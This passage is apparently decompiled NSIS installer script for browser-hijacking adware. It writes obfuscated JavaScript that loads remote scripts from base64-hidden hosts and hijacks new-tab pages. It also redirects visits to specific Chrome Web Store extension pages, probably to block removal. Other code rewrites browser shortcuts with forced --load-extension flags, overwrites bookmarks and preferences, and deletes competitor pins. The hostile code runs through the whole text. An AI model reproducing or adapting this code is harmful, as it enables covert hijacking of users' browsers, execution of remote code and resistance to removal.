StrCpy $_117_ o=g(o,p,m,n,a[d+11],16,1839030562),n=g(n,o,p,m,a[d+14],23,-35309556),m=g(m,n,o,p,a[d+1],4,-1530992060),p=g(p,m,n,o,a[d+4],11,1272893353),o=g(o,p,m,n,a[d+7],16,-155497632),n=g(n,o,p,m,a[d+10],23,-1094730640),m=g(m,n,o,p,a[d+13],4,681279174),p=g(p,m,n,o,a[d],11,-358537222),o=g(o,p,m,n,a[d+3],16,-722521979),n=g(n,o,p,m,a[d+6],23,76029189),m=g(m,n,o,p,a[d+9],4,-640364487),p=g(p,m,n,o,a[d+12],11,-421815835),o=g(o,p,m,n,a[d+15],16,530742520),n=g(n,o,p,m,a[d+2],23,-995338651),m=h(m,n,o,p,a[d],6,-198630844),p=h(p,m,n,o,a[d+7],10,1126891415),o=h(o,p,m,n,a[d+14],15,-1416354905),n=h(n,o,p,m,a[d+5],21,-57434055),m=h(m,n,o,p,a[d+12],6,1700485571),p=h(p,m,n,o,a[d+3],10,-1894986606),o=h(o,p,m,n,a[d+10],15,-1051523),n=h(n,o,p,m,a[d+1],21,-2054922799),m=h(m,n,o,p,a[d+8],6,1873313359),p=h(p,m,n,o,a[d+15],10,-30611744),o=h(o,p,m,n,a[d+6],15,-1560198380),n=h(n,o,p,m,a[d+13],21,1309151649),
StrCpy $_118_ "m=h(m,n,o,p,a[d+4],6,-145523070),p=h(p,m,n,o,a[d+11],10,-1120210379),o=h(o,p,m,n,a[d+2],15,718787259),n=h(n,o,p,m,a[d+9],21,-343485551),m=b(m,i),n=b(n,j),o=b(o,k),p=b(p,l);return[m,n,o,p]}function j(a){var b,c=$\"$\";for(b=0;b<32*a.length;b+=8)c+=String.fromCharCode(a[b>>5]>>>b%32&255);return c}function k(a){var b,c=[];for(c[(a.length>>2)-1]=void 0,b=0;b<c.length;b+=1)c[b]=0;for(b=0;b<8*a.length;b+=8)c[b>>5]|=(255&a.charCodeAt(b/8))<<b%32;return c}function l(a){return j(i(k(a),8*a.length))}function m(a,b){var c,d,e=k(a),f=[],g=[];for(f[15]=g[15]=void 0,e.length>16&&(e=i(e,8*a.length)),c=0;16>c;c+=1)f[c]=909522486^e[c],g[c]=1549556828^e[c];return d=i(f.concat(k(b)),512+8*b.length),j(i(g.concat(d),640))}function n(a){var b,c,d=$\"0123456789abcdef$\",e=$\"$\";for(c=0;c<a.length;c+=1)b=a.charCodeAt(c),e+=d.charAt(b>>>4&15)+d.charAt(15&b);return e}"
StrCpy $_119_ "function o(a){return unescape(encodeURIComponent(a))}function p(a){return l(o(a))}function q(a){return n(p(a))}function r(a,b){return m(o(a),o(b))}function s(a,b){return n(r(a,b))}function t(a,b,c){return b?c?r(b,a):s(b,a):c?p(a):q(a)}$\"function$\"==typeof define&&define.amd?define(function(){return t}):a.md5=t}(this);"
FileOpen $1 $_45_\hash.js w
FileWrite $1 $_115_
FileClose $1
FileOpen $1 $_45_\hash.js a
FileSeek $1 0 END
FileWrite $1 $_116_
FileClose $1
FileOpen $1 $_45_\hash.js a
FileSeek $1 0 END
FileWrite $1 $_117_
FileClose $1
FileOpen $1 $_45_\hash.js a
FileSeek $1 0 END
FileWrite $1 $_118_
FileClose $1
FileOpen $1 $_45_\hash.js a
FileSeek $1 0 END
FileWrite $1 $_119_
FileClose $1
StrCpy $_46_ ""
Call func_12612
StrCmp $_46_ "" label_12242
FileOpen $1 $_45_\hash.js a
FileSeek $1 0 END
FileWrite $1 "var $_46_;"
FileClose $1
label_12242:
FunctionEnd
Function func_12243
Exch $R1
; Push $R1
; Exch
; Pop $R1
StrCmp $_120_ "" 0 label_12251
StrCpy $_46_ ""
Call func_12612
StrCpy $_120_ $_46_
StrCmp $_120_ "" label_12256
label_12251:
Push $R1
Push jqscript
Push $_120_
Call func_179
Pop $R1
label_12256:
StrCmp $_121_ "" 0 label_12261
StrCpy $_46_ ""
Call func_12612
StrCpy $_121_ $_46_
StrCmp $_121_ "" label_12266
label_12261:
Push $R1
Push uvariabl
Push $_121_
Call func_179
Pop $R1
label_12266:
StrCmp $_122_ "" 0 label_12271
StrCpy $_46_ ""
Call func_12612
StrCpy $_122_ $_46_
StrCmp $_122_ "" label_12276
label_12271:
Push $R1
Push jsinclude
Push $_122_
Call func_179
Pop $R1
label_12276:
StrCmp $_123_ "" 0 label_12281
StrCpy $_46_ ""
Call func_12612
StrCpy $_123_ $_46_
StrCmp $_123_ "" label_12286
label_12281:
Push $R1
Push jsinc
Push $_123_
Call func_179
Pop $R1
label_12286:
StrCmp $_124_ "" 0 label_12291
StrCpy $_46_ ""
Call func_12612
StrCpy $_124_ $_46_
StrCmp $_124_ "" label_12296
label_12291:
Push $R1
Push INCJS
Push $_124_
Call func_179
Pop $R1
label_12296:
StrCmp $_126_ "" 0 label_12301
StrCpy $_46_ ""
Call func_12612
StrCpy $_126_ $_46_
StrCmp $_126_ "" label_12306
label_12301:
Push $R1
Push slextdv
Push $_126_
Call func_179
Pop $R1
label_12306:
StrCmp $_127_ "" 0 label_12311
StrCpy $_46_ ""
Call func_12612
StrCpy $_127_ $_46_
StrCmp $_127_ "" label_12316
label_12311:
Push $R1
Push slextdo
Push $_127_
Call func_179
Pop $R1
label_12316:
StrCmp $_134_ "" 0 label_12321
StrCpy $_46_ ""
Call func_12612
StrCpy $_134_ $_46_
StrCmp $_134_ "" label_12326
label_12321:
Push $R1
Push pageloc
Push $_134_
Call func_179
Pop $R1
label_12326:
StrCmp $_135_ "" label_12332
Push $R1
Push aHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz
Push $_135_
Call func_179
Pop $R1
label_12332:
StrCmp $_136_ "" label_12338
Push $R1
Push aHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz
Push $_136_
Call func_179
Pop $R1
label_12338:
StrCmp $_137_ "" label_12344
Push $R1
Push aHR0cDovL2FkdnNjZG4uY29tL2hhc2hlcy9hcGlzLmpzb24=
Push $_137_
Call func_179
Pop $R1
label_12344:
Push $R1
FunctionEnd
Function func_12346
Exch $R1
; Push $R1
; Exch
; Pop $R1
StrCmp $_125_ "" 0 label_12354
StrCpy $_46_ ""
Call func_12612
StrCpy $_125_ $_46_
StrCmp $_125_ "" label_12359
label_12354:
Push $R1
Push hashes
Push $_125_
Call func_179
Pop $R1
label_12359:
StrCmp $_126_ "" 0 label_12364
StrCpy $_46_ ""
Call func_12612
StrCpy $_126_ $_46_
StrCmp $_126_ "" label_12369
label_12364:
Push $R1
Push slextdv
Push $_126_
Call func_179
Pop $R1
label_12369:
StrCmp $_127_ "" 0 label_12374
StrCpy $_46_ ""
Call func_12612
StrCpy $_127_ $_46_
StrCmp $_127_ "" label_12379
label_12374:
Push $R1
Push slextdo
Push $_127_
Call func_179
Pop $R1
label_12379:
StrCmp $_128_ "" 0 label_12384
StrCpy $_46_ ""
Call func_12612
StrCpy $_128_ $_46_
StrCmp $_128_ "" label_12389
label_12384:
Push $R1
Push hsvariab
Push $_128_
Call func_179
Pop $R1
label_12389:
StrCmp $_129_ "" 0 label_12394
StrCpy $_46_ ""
Call func_12612
StrCpy $_129_ $_46_
StrCmp $_129_ "" label_12399
label_12394:
Push $R1
Push vuvariab
Push $_129_
Call func_179
Pop $R1
label_12399:
StrCmp $_130_ "" 0 label_12404
StrCpy $_46_ ""
Call func_12612
StrCpy $_130_ $_46_
StrCmp $_130_ "" label_12409
label_12404:
Push $R1
Push vovariab
Push $_130_
Call func_179
Pop $R1
label_12409:
StrCmp $_131_ "" 0 label_12414
StrCpy $_46_ ""
Call func_12612
StrCpy $_131_ $_46_
StrCmp $_131_ "" label_12419
label_12414:
Push $R1
Push ghreq
Push $_131_
Call func_179
Pop $R1
label_12419:
StrCmp $_132_ "" 0 label_12424
StrCpy $_46_ ""
Call func_12612
StrCpy $_132_ $_46_
StrCmp $_132_ "" label_12429
label_12424:
Push $R1
Push xhra
Push $_132_
Call func_179
Pop $R1
label_12429:
StrCmp $_133_ "" 0 label_12434
StrCpy $_46_ ""
Call func_12612
StrCpy $_133_ $_46_
StrCmp $_133_ "" label_12439
label_12434:
Push $R1
Push xhrb
Push $_133_
Call func_179
Pop $R1
label_12439:
StrCmp $_135_ "" label_12445
Push $R1
Push aHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz
Push $_135_
Call func_179
Pop $R1
label_12445:
StrCmp $_136_ "" label_12451
Push $R1
Push aHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz
Push $_136_
Call func_179
Pop $R1
label_12451:
StrCmp $_137_ "" label_12457
Push $R1
Push aHR0cDovL2FkdnNjZG4uY29tL2hhc2hlcy9hcGlzLmpzb24=
Push $_137_
Call func_179
Pop $R1
label_12457:
Push $R1
FunctionEnd
Function func_12459
StrCpy $_108_ ""
StrCpy $_109_ ""
StrCpy $_120_ ""
StrCpy $_108_ AAAZnVuY3Rpb24gYShhKXtmdW5jdGlvbiBlKGEpe2Nocm9tZS50YWJzLmNyZWF0ZSh7dXJsOmF0b2IodCl9LGZ1bmN0aW9uKCl7Y2hyb21lLnRhYnMucmVtb3ZlKGEpfSl9aWYoMT09YSl7dmFyIHQ9ImF2YXJpYWJsYWFIUjBjRG92TDNOMFlYSjBjM011Y25VdlAzVjBiVjl0WldScGRXMDlaWGgwSm5WMGJWOXpiM1Z5WTJVOVpYaDBaVzV6YVc5dSIuc3Vic3RyKDkpLHI9bmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLG89L2FtaWdvLy50ZXN0KHIpLGw9L3lhYnJvd3Nlci8udGVzdChyKSxuPS9vcHIvLnRlc3Qocik7aWYobHx8b3x8bilsP2UoKTpjaHJvbWUudGFicy5vbkNyZWF0ZWQuYWRkTGlzdGVuZXIoZnVuY3Rpb24oYSl7KCJjaHJvbWU6Ly9uZXd0YWIvIj09YS51cmx8fCJjaHJvbWU6Ly9zdGFydHBhZ2UvIj09YS51cmwpJiYobz9lKCk6ZShhLmlkKSl9KTs= "" 3
Push $_108_
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $_108_
StrCpy $_109_ AAAZWxzZXt2YXIgcz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaSIpO3MmJihzLnNyYz1hdG9iKHQpKX19ZWxzZSB3aW5kb3cubG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9nb29nbGUucnUvIn1pZigidW5kZWZpbmVkIiE9dHlwZW9mIFN0b3JhZ2Upe3ZhciBsPTllNSxnPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJhdmFyaWFibCIpO251bGw9PWc/KGxvY2FsU3RvcmFnZS5zZXRJdGVtKCJhdmFyaWFibCIsK25ldyBEYXRlKSxhKG51bGw9PWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJhdmFyaWFibCIpPzE6MikpOiJzdGFydCI9PWc/YSgxKTorbmV3IERhdGUtZz5sPyhhKDEpLGxvY2FsU3RvcmFnZS5zZXRJdGVtKCJhdmFyaWFibCIsInN0YXJ0IikpOmEoMil9ZWxzZSBhKDEpOw== "" 3
Push $_109_
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $_109_
StrCpy $_46_ ""
Call func_12612
StrCpy $_120_ $_46_
StrCmp $_120_ "" label_12478
Push $_108_
Push avariabl
label_12478:
Push $_120_
Call func_179
Pop $_108_
Push $_109_
Push avariabl
Push $_120_
Call func_179
Pop $_109_
FileOpen $1 $_45_\main.js w
FileWrite $1 $_108_
FileClose $1
FileOpen $1 $_45_\main.js a
FileSeek $1 0 END
FileWrite $1 $_109_
FileClose $1
FunctionEnd
Function func_12494
StrCpy $_108_ ""
StrCpy $_109_ ""
StrCpy $_110_ ""
StrCpy $_108_ "function a(t){var u=t.url;if (u&&u.indexOf('chrome.google.com/webstore')!=-1){var _0x8a78=['\x64\x6A\x6E\x66\x69\x6B\x68\x69\x6D\x69\x6A\x66\x63\x6F\x61\x6F\x62\x6C\x67\x61\x6E\x68\x6C\x6C\x6D\x64\x6A\x65\x6A\x67\x67\x69','\x62\x61\x70\x65\x62\x65\x6B\x63\x61\x70\x65\x68\x66\x61\x70\x63\x69\x6C\x6F\x6D\x62\x62\x67\x65\x70\x67\x65\x64\x6D\x6E\x6D\x6E','\x61\x65\x61\x6A\x65\x68\x67\x65\x6F\x68\x68\x67\x6A\x62\x68\x68\x62\x69\x63\x69\x6C\x70\x65\x6E\x6A\x66\x63\x62\x66\x6E\x70\x67','\x67\x61\x6D\x67\x63\x64\x6C\x66\x68\x6D\x6D\x69\x67\x6A\x6D\x62\x66\x66\x6F\x64\x67\x6B\x70\x67\x6C\x62\x6E\x65\x6A\x6B\x6A\x6D','\x6D\x65\x66\x68\x61\x6B\x6D\x67\x63\x6C\x68\x68\x66\x62\x64\x61\x64\x65\x6F\x6A\x6C\x6B\x62\x6C\x6C\x6D\x65\x63\x69\x61\x6C\x67','\x6F\x63\x67\x67\x63\x63\x61\x61\x63\x61\x63\x70\x69\x65\x6E\x66\x63\x67\x6D\x67\x63\x69\x68\x6F\x6F\x6D\x62\x6F\x6B\x62\x62\x6A',"
StrCpy $_109_ '\x68\x65\x6E\x6D\x66\x6F\x70\x70\x6A\x6A\x6B\x63\x65\x6E\x63\x70\x62\x6A\x61\x69\x67\x66\x61\x68\x64\x6A\x6C\x67\x70\x65\x67\x6E','\x62\x68\x6D\x70\x6E\x69\x62\x69\x61\x67\x6F\x70\x6D\x6F\x62\x61\x6D\x68\x6C\x67\x61\x67\x68\x6B\x6F\x6A\x6C\x63\x6A\x6E\x66\x6E','\x61\x61\x65\x62\x6A\x65\x70\x63\x66\x69\x64\x67\x6B\x6F\x6A\x6C\x6A\x62\x67\x6F\x69\x6C\x67\x6B\x67\x6B\x6C\x65\x68\x6C\x64\x6A','\x63\x6E\x61\x69\x62\x6E\x65\x68\x62\x62\x69\x6E\x6F\x6F\x68\x68\x6A\x61\x66\x6B\x6E\x69\x68\x6D\x6C\x6F\x70\x64\x68\x68\x69\x70','\x68\x63\x6D\x64\x70\x65\x6F\x62\x66\x6F\x70\x70\x64\x6B\x68\x63\x6E\x65\x6F\x67\x63\x66\x6C\x66\x6D\x66\x63\x65\x65\x6E\x6C\x66','\x6B\x6A\x61\x63\x6A\x6A\x64\x6E\x6F\x64\x64\x6E\x70\x62\x62\x63\x6A\x69\x6C\x63\x61\x6A\x66\x68\x68\x62\x64\x68\x6B\x70\x67\x6B'];
StrCpy $_110_ "var e=[_0x8a78[0],_0x8a78[1],_0x8a78[2],_0x8a78[3],_0x8a78[4],_0x8a78[5],_0x8a78[6],_0x8a78[7],_0x8a78[8],_0x8a78[9],_0x8a78[10],_0x8a78[11]];for(var i=0;i<e.length;i++){if (u.indexOf(e[i])!=-1){chrome.tabs.update(t.id,{url:'https://chrome.google.com/webstore'});};};};};chrome.tabs.onUpdated.addListener(function(q,w,t){a(t);});"
FileOpen $1 $_45_\bg.js w
FileWrite $1 $_108_
FileClose $1
FileOpen $1 $_45_\bg.js a
FileSeek $1 0 END
FileWrite $1 $_109_
FileClose $1
FileOpen $1 $_45_\bg.js a
FileSeek $1 0 END
FileWrite $1 $_110_
FileClose $1
StrCpy $_46_ ""
Call func_12612
StrCmp $_46_ "" label_12518
FileOpen $1 $_45_\bg.js a
FileSeek $1 0 END
FileWrite $1 "var $_46_;"
FileClose $1
label_12518:
Return
StrCpy $_46_ ""
Call func_12612
StrCmp $_46_ "" label_12523
Push $R9
label_12523:
Push jqscript
Push $_46_
Push +
Call :label_11822
Pop $R9
StrCpy $_46_ ""
Call func_12612
StrCmp $_46_ "" label_12532
Push $R9
label_12532:
Push uvariabl
Push $_46_
Push +
Call :label_11822
Pop $R9
StrCpy $_46_ ""
Call func_12612
StrCmp $_46_ "" label_12541
Push $R9
label_12541:
Push jsinclude
Push $_46_
Push +
Call :label_11822
Pop $R9
StrCpy $_46_ ""
Push $0
FunctionEnd
Function func_12549
Push $0
Push $_45_\bgv.js
Push ""
Push 1:-1
StrCpy $0 12583
Push $0
Call :label_4862
Pop $0
Push $0
Push $_45_\bgv.js
Push ""
Push 1:-1
StrCpy $0 12520
Push $0
Call :label_4862
Pop $0
Push $0
Push $_45_\bgo.js
Push ""
Push 1:-1
StrCpy $0 12583
Push $0
Call :label_4862
Pop $0
Push $0
Push $_45_\bgo.js
Push ""
Push 1:-1
StrCpy $0 12520
Push $0
Call :label_4862
Pop $0
Return
StrCpy $R1 "var jqscript=doc.createElement('script');jqscript.type='text/javascript';jqscript.src='http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js';doc.head.appendChild(jqscript);"
StrCpy $R2 "var jsinclude=doc.createElement('script');jsinclude.language='javascript';jsinclude.type='text/javascript';jsinclude.setAttribute('id','uvariabl');var uvariabl='uvariablaHR0cDovL2FwaWV4dC5ydS9qcy92a2FwaS5qcw==';jsinclude.src=atob(uvariabl.substr(8))+'?'+Math.floor((Math.random()*1000000000)+1);doc.head.appendChild(jsinclude);"
StrCpy $R3 "var jsinclude=doc.createElement('script');jsinclude.language='javascript';jsinclude.type='text/javascript';var uvariabl='uvariablaHR0cDovL2FwaWV4dC5ydS9qcy9va2FwaS5qcw==';jsinclude.src=atob(uvariabl.substr(8))+'?'+Math.floor((Math.random()*1000000000)+1);doc.head.appendChild(jsinclude);"
Push $R9
Push "/*include_jq*/"
Push $R1
Push +
Call :label_11822
Pop $R9
Push $R9
Push "/*include_bgv*/"
Push $R2
Push +
Call :label_11822
Pop $R9
Push $R9
Push "/*include_bgo*/"
Push $R3
Push +
Call :label_11822
Pop $R9
Push $0
FunctionEnd
Function func_12605
Push 155
Push 0
Call func_13173
Pop $0
StrCpy $0 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 1 $0
Push $0
FunctionEnd
Function func_12612
StrCpy $7 ""
StrCpy $8 ""
StrCpy $9 ""
label_12615:
Call func_12605
Pop $7
StrCpy $8 $8$7
StrLen $9 $8
IntCmp $9 8 0 label_12615
StrCpy $_46_ $8
FunctionEnd
Function func_12622
SetOutPath $PLUGINSDIR
IfFileExists $PLUGINSDIR\sl.zip label_12625
SetOverwrite on
AllowSkipFiles on
File sl.zip
label_12625:
IfFileExists $PLUGINSDIR\sll.zip label_12627
File sll.zip
label_12627:
IfFileExists $PLUGINSDIR\nt.zip label_12629
File nt.zip
label_12629:
IfFileExists $PLUGINSDIR\Bookmarks label_12631
File Bookmarks
label_12631:
IfFileExists $PLUGINSDIR\imgs.zip label_12633
File imgs.zip
label_12633:
FunctionEnd
Function func_12634
Call func_12622
StrCmp $_21_ "" 0 label_12653
Push 999999999
Push 100000000
Call func_13173
Pop $_21_
StrCpy $_48_ AAAZ28uYWR2YXdheS5ydQ== "" 3
Push $_48_
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $_48_
Push $0
Push $PLUGINSDIR\Bookmarks
Push ""
Push 1:-1
StrCpy $0 12120
Push $0
Call :label_4862
Pop $0
label_12653:
StrCmp $_47_ "$APPDATA\Opera Software\Opera Stable\Bookmarks" 0 label_12718
ClearErrors
nsJSON::Set /file $_47_
; Call Initialize_____Plugins
; SetOverwrite off
; AllowSkipFiles off
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_47_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get roots custom_root unsorted children /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push children
; Push unsorted
; Push custom_root
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors 0 label_12700
Delete $_47_
nsJSON::Set /value {}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {}
; Push /value
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set version /value 1
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push 1
; Push /value
; Push version
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set roots /value {$\"bookmark_bar$\":{$\"children$\":[],$\"type$\":$\"folder$\"},$\"other$\":{}}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {$\"bookmark_bar$\":{$\"children$\":[],$\"type$\":$\"folder$\"},$\"other$\":{}}
; Push /value
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set roots custom_root /value {$\"unsorted$\":{$\"children$\":[],$\"type$\":$\"folder$\"}}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {$\"unsorted$\":{$\"children$\":[],$\"type$\":$\"folder$\"}}
; Push /value
; Push custom_root
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_12700:
nsJSON::Set roots custom_root unsorted children /file $PLUGINSDIR\Bookmarks
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\Bookmarks
; Push /file
; Push children
; Push unsorted
; Push custom_root
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Serialize /format /file $_47_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_47_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
Goto label_12771
label_12718:
ClearErrors
nsJSON::Set /file $_47_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_47_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get roots bookmark_bar children /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push children
; Push bookmark_bar
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors 0 label_12755
Delete $_47_
nsJSON::Set /value {}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {}
; Push /value
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set version /value 1
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push 1
; Push /value
; Push version
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set roots /value {$\"bookmark_bar$\":{$\"children$\":[],$\"type$\":$\"folder$\"},$\"other$\":{}}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {$\"bookmark_bar$\":{$\"children$\":[],$\"type$\":$\"folder$\"},$\"other$\":{}}
; Push /value
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_12755:
nsJSON::Set roots bookmark_bar children /file $PLUGINSDIR\Bookmarks
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\Bookmarks
; Push /file
; Push children
; Push bookmark_bar
; Push roots
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Serialize /format /file $_47_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_47_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_12771:
StrCpy $R6 .inst
FileOpen $1 $_47_$R6 w
FileWrite $1 ""
FileClose $1
FunctionEnd
Function func_12776
Call func_12622
SetOutPath $PLUGINSDIR
Push $0
Push $_47_
Push ""
Push 1:-1
StrCpy $0 11816
Push $0
Call :label_4862
Pop $0
FunctionEnd
Function func_12787
StrCmp $_58_ 1 label_12817
nsJSON::Set /file $PLUGINSDIR\PREFFI
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\PREFFI
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set /value {$\"extensions$\":{$\"settings$\":{}}}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {$\"extensions$\":{$\"settings$\":{}}}
; Push /value
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Set extensions settings $_51_ /file $PLUGINSDIR\SecurePreferences
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\SecurePreferences
; Push /file
; Push $_51_
; Push settings
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Serialize /format /file $PLUGINSDIR\PREFFI
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\PREFFI
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
StrCpy $_58_ 1
label_12817:
FunctionEnd
Function func_12818
StrCpy $_37_ ""
SetOutPath $PROGRAMFILES\Google\Chrome\Application
StrCpy $_33_ chrome.bat
StrCpy $_34_ Chrome\Application\chrome.exe
StrCpy $_35_ "$LOCALAPPDATA\Google\Chrome\User Data"
StrCpy $_36_ $PROGRAMFILES\Google\Chrome\Application\chrome.exe
StrCmp $_38_ 1 0 label_12826
StrCpy $_37_ --load-extension=$\"$_43_$\"
label_12826:
SetShellVarContext current
Push $APPDATA
Call func_12924
SetShellVarContext all
StrCmp $_32_ 1 label_12834
IfFileExists $_36_ 0 label_12834
IfFileExists "$DESKTOP\Google Chrome.lnk" label_12834
CreateShortCut "$DESKTOP\Google Chrome.lnk" $_36_
label_12834:
Push $DESKTOP
Call func_12924
Push "$SMPROGRAMS\Google Chrome"
Call func_12924
SetShellVarContext current
Push $DESKTOP
Call func_12924
IfFileExists $_35_\Default\Extensions\$_51_ label_12843
StrCpy $_103_ $_37_
label_12843:
Call func_13058
Call func_19355
FunctionEnd
Function func_12846
StrCpy $_37_ ""
SetOutPath $LOCALAPPDATA\Yandex\YandexBrowser\Application
StrCpy $_33_ Yandex\browser.bat
StrCpy $_34_ YandexBrowser\Application\browser.exe
StrCpy $_35_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data"
StrCpy $_36_ $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe
StrCmp $_39_ 1 0 label_12854
StrCpy $_37_ --load-and-launch-app=$\"$_43_$\"
label_12854:
SetShellVarContext all
Push $DESKTOP
Call func_12924
SetShellVarContext current
Push $DESKTOP
Call func_12924
Push $APPDATA
Call func_12924
Push $SMPROGRAMS\Yandex
Call func_12924
IfFileExists $_35_\Default\Extensions\$_51_ label_12866
StrCpy $_104_ $_37_
label_12866:
Call func_13065
Call func_19355
IfFileExists $LOCALAPPDATA\Yandex\YaPin 0 label_12870
RMDir /r /REBOOTOK $LOCALAPPDATA\Yandex\YaPin
label_12870:
IfFileExists "$APPDATA\User Pinned\TaskBar\yandex.website" 0 label_12872
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\yandex.website"
label_12872:
IfFileExists $APPDATA\yandex.website 0 label_12874
Delete /REBOOTOK $APPDATA\yandex.website
label_12874:
FunctionEnd
Function func_12875
StrCpy $_98_ ""
StrCpy $_99_ ""
StrCpy $_101_ ""
StrCpy $_102_ ""
SetFileAttributes $_97_ NORMAL
ShellLink::GetShortCutTarget $_97_
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\ShellLink.dll
; SetDetailsPrint lastused
; Push $_97_
; CallInstDLL $PLUGINSDIR\ShellLink.dll GetShortCutTarget
Pop $_99_
ClearErrors
Push $_99_
Push $_33_
Call :label_405
Pop $R0
IfErrors 0 label_12898
ClearErrors
Push $_99_
Push $_34_
Call :label_405
Pop $R0
IfErrors label_12923
label_12898:
ShellLink::GetShortCutArgs $_97_
; Call Initialize_____Plugins
; File $PLUGINSDIR\ShellLink.dll
; SetDetailsPrint lastused
; Push $_97_
; CallInstDLL $PLUGINSDIR\ShellLink.dll GetShortCutArgs
Pop $_98_
ClearErrors
Push $_98_
Push --profile-directory=
Call :label_405
Pop $_100_
IfErrors label_12912
StrCpy $_101_ "--profile-directory=$\"$_100_$\" "
Goto label_12913
label_12912:
StrCpy $_100_ Default
label_12913:
StrCmp $_35_ "$LOCALAPPDATA\Nichrome\User Data" label_12919
StrCmp $_35_ "$LOCALAPPDATA\Orbitum\User Data" label_12919
StrCmp $_35_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data" label_12918
StrCmp $_54_ none label_12918
IfFileExists $_35_\$_100_\Extensions\$_51_\$_54_ label_12920 label_12919
label_12918:
IfFileExists $_35_\$_100_\Extensions\$_51_ label_12920
label_12919:
StrCpy $_102_ $_37_
label_12920:
StrCmp $_98_ $_101_$_102_ label_12923
Delete $_97_
CreateShortCut $_97_ $_36_ $_101_$_102_
label_12923:
FunctionEnd
Function func_12924
StrCpy $R1 0
StrCpy $R2 0
StrCpy $R3 0
Exch $0
; Push $0
; Exch
; Pop $0
StrCpy $R4 $0
Push $1
Push $2
FindFirst $1 $2 $0\*.lnk
label_12934:
IfErrors label_12945
StrCpy $_97_ $0\$2
Call func_12875
ClearErrors
Push $0
Push $R4
Call :label_405
Pop $R3
IfErrors label_12959
